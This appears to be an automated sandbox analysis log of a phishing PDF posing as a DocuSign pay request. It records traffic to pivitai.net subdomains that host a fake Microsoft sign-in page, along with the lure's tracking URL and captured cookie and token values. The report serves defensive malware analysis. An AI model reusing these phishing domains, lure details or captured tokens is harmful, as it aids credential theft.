Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_eb638da25d4055fbbb57.js HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: 120X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDgAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAZuJ96Lu0h17VTAAgmgHyOpH%2BMwz4ucSop2ZqBMCotRAsg0BS5RHRy%2BgEOGYmg8VUd5X6SUo499h2DUHa6gcQn4MetTK%2Bfn4hBtmHUx9Lg2BYERM5WL9hogNsGKt4e0pZXDvNv11/xBZ3e3VOzF%2B%2BTI73bdmzHezAWhzSiW5M42p8XVfHGnwEMsiAateRpZ4sI9pwPogwb/13Q9J1ayd/VaqH70VmGn3PbhWTLeM3Ex0OWFfKL29aYvR0Hy4gQxzQCR2yHx7LaefGuXdpppVGYDnGolP4eSf1Py9k777dJAf7okg3XLhHmWPhBYBhUrK5cj9pt5HR3pAIINtmJ05EWwDZgAACICuGgQQjhtHsAHovJPr14Gg3JvrD2VqavHRfhk14mK9mZcFn286dFVem7mVaB%2BpmHHS9X051LEAOvrces0AAYoINjrojQuzeELmUGPQT9DevMBr9ReoGPnmYOUTzsBMWa7RAveFpSEO2I/vCh5yuSNrzdyWsKYj9l0uDjxz2mipdvAUf0JGhOvMewHvOqWVFgDsJAWN/mnXxEoZrdyWlTgGPzJBAepKXu04C/Mk4HEUbHw94LriLJsMSnLbKEt9c/6L10z8hfEmpytfcY%2BPpM620snevvVELl9YUJ5tEoqDFlTF9hrW64Rw55mthbpzglu8N5YiQ6qFZO7Og6CHYAjMjwkaX7wziuGQrYxZG%2BKtkbZtqi7LtOSfBnJtVXg%2B/oe3QPv72/ph8TjzO9ADw%2BJPKMGyvWjmMM6Vh6P3n4xVVm/Wo8zvCx5O2tK0T86luLqRr9000wh0OYRs9BEAJ9Wfzm%2B4SMupFTF4/Yvjj4kEs6usnTHZyMsffFEceQakG2JETlARaCyHgXct8BfS0sml4KqIWFxE%2B%2BtgH1wqD3Jl0x4d3ZRZ2kRIXJfFp/xDZu1XB0jMKKKhjnDbAQ%3D%3D%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1714162752User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 35388D629A864227A6FF8680AFC52667X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B

Source: global traffic	DNS traffic detected: DNS query: dyjt.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: bdfdbdf.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: dfgrt.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: wreg.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: yukrtg.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: dwqef.pivitai.net
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 20:18:24 GMTTransfer-Encoding: chunkedConnection: closeCache-Control: privateNel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"Referrer-Policy: strict-origin-when-cross-originReport-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+sin"}]}X-Ms-Ests-Server: 2.1.17910.10 - SEASLR1 ProdSlicesX-Ms-Request-Id: 345e8d32-8a44-41b5-abb7-5b95189ab900X-Ms-Srs: 1.PCF-Cache-Status: BYPASSSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 87a943038d3d74b6-MIAalt-svc: h3=":443"; ma=86400

Source: DocuSign_Payapp#5_Pay_Requests.pdf	String found in binary or memory: http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF
Source: chromecache_191.17.dr	String found in binary or memory: http://feross.org
Source: chromecache_187.17.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_197.17.dr, chromecache_204.17.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_197.17.dr, chromecache_204.17.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_201.17.dr	String found in binary or memory: https://device.dfgrt.pivitai.net
Source: chromecache_201.17.dr	String found in binary or memory: https://dfgrt.pivitai.net
Source: chromecache_191.17.dr, chromecache_184.17.dr, chromecache_197.17.dr, chromecache_204.17.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_201.17.dr	String found in binary or memory: https://login-us.microsoftonline.com
Source: chromecache_201.17.dr	String found in binary or memory: https://login.chinacloudapi.cn
Source: chromecache_201.17.dr	String found in binary or memory: https://login.microsoftonline.de
Source: chromecache_201.17.dr	String found in binary or memory: https://login.microsoftonline.us
Source: chromecache_201.17.dr	String found in binary or memory: https://login.partner.microsoftonline.cn
Source: chromecache_201.17.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_201.17.dr	String found in binary or memory: https://login.windows.net
Source: chromecache_201.17.dr	String found in binary or memory: https://logincert.microsoftonline.com
Source: chromecache_201.17.dr	String found in binary or memory: https://ujty.pivitai.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.17:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.17:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.7.32:443 -> 192.168.2.17:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.219.0.175:443 -> 192.168.2.17:49771 version: TLS 1.2

System Summary

Found potential malicious PDF (bad image similarity)

Source: DocuSign_Payapp#5_Pay_Requests.pdf

Static PDF information: Image stream: 12

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Window title found: dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b"id_token"%3a%7b"xms_cc"%3a%7b"values"%3a%5b"cp1"%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=dctbfoagcabrrddxserbpa5wbft2_vj82u1oke1hcxkjaujtpgdprississnxlo6rrt8ukexr6d0ndbv55sim0mo9yjvz-uh - google chrome chrome legacy window

Source: classification engine

Classification label: mal76.phis.winPDF@31/105@26/9

Source: DocuSign_Payapp#5_Pay_Requests.pdf	Initial sample: http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG
Source: DocuSign_Payapp#5_Pay_Requests.pdf	Initial sample: http://email.wantyourfeedback.com/ls/click?upn=u001.kefinuywklssadlx7clhngjdvmuvho1aw1vm0ypuexgejfcf5xzwy-2b6xtef4k-2f0ouqw9j0zcgtihnukpgwo57bn4nbmytpqkoxisvpbddabfdqttyzoa5r25wwanu8fj5yzvqu-2b0aeg-2fq4ksonuvxlfmm-2fqys1msjtaxlsnfuw4lt9fgnoi682m0acrkv4ph6f0brgoxvwdsky-2bmagt29aw5ev3rutchu-2boru3y4wm16cjugy6y-2f2bozgzgpxlor-2ffumvombkdwyrgq2guqxylbbcgxatxklnxuzoh1ksesgdwogqpbxmyytcdgeztrmedmo727fkfs9y56tue-2b-2bobxwffpolwral10klje3e621fxqsu7j-2boo4htcqciqn2yemvqdtzeoii4bga5aknyfjorzj5hzu63gjgvvmrh8tqehj6cdyf9ihzg2g-2bypvgjv9-2by2hfcc7pmyfhauzcb007mefdydrumf5irpmeghr9sg2xt7f31ngyavtnpuhlcd-2f0y5n0zs-2b-2b-2fzf3tppedbz4f3-2f6x2tfixqzzhpjhmgadqiesvqdag0p1cilubdh-2bq9zwrdhyimwvargxrc5xdgids3liaj35xcsroylybhvsqmnqf-2fgk3qbyg4qiypmbojmt2hi6okorutks5dtxn7bwiih9iyvhgvqkl911azwsxtdb0tm9w-2bm4xtesgeiwacx5xwsvgszktgnf2q1xheonenppza3ccfnyhokvzskp-2blzmvwdhorzfsmpcaugan1ynprwwmr3ncm27kqi2ljvkpmnvgtsa-2bdpjfkodn2x0hwjijx4bj-2b5qie7gt7shj30pvx8exfrnjodprn2wq-3d-3dlezo_-2b9rhanljtut8wl45m2xpmvrcztwd0m9ftp74dnrasgfmgld3r9qiuzeyl9xi7ldyhhzwvscd7ckmbwn5kqo96mwzbn7-2f2q4godmf-2bp-2f1fpx3lf0iglsshts0tomr7hthnj2cqy9yjw1g5cyyoerctw7e1gypfydp6vysdyv5a4-2bjebvpfbavvuxldopg6mxhhdld4qo-2febdvvvijnlafykksi7oxvazqwre8k8fmsefffn3tbrdg2y1qkcqbkio5uqvbqj7yznb-2birbqxawlq7moy73hemnbdf8ojlad0rwtwaakawvo4aielmns-2f03diu6tj2razcvqxwskaj6lqdkvxlh8mellzqpff9ot00elhes2kznjxglyrqkugkalm5d3zjow1npvj8edzy-2b-2bnchbud2q62tvi8ae-2b7kpmhx-2br64ozofhyphysbocxinqxvm9-2f0vvha-2fctjrocdcpbx2zfhffd0nbmi-2bz1k3fbkz2flkoh4nx7qkpymad08jg

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-04-26 22-17-34-896.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuSign_Payapp#5_Pay_Requests.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
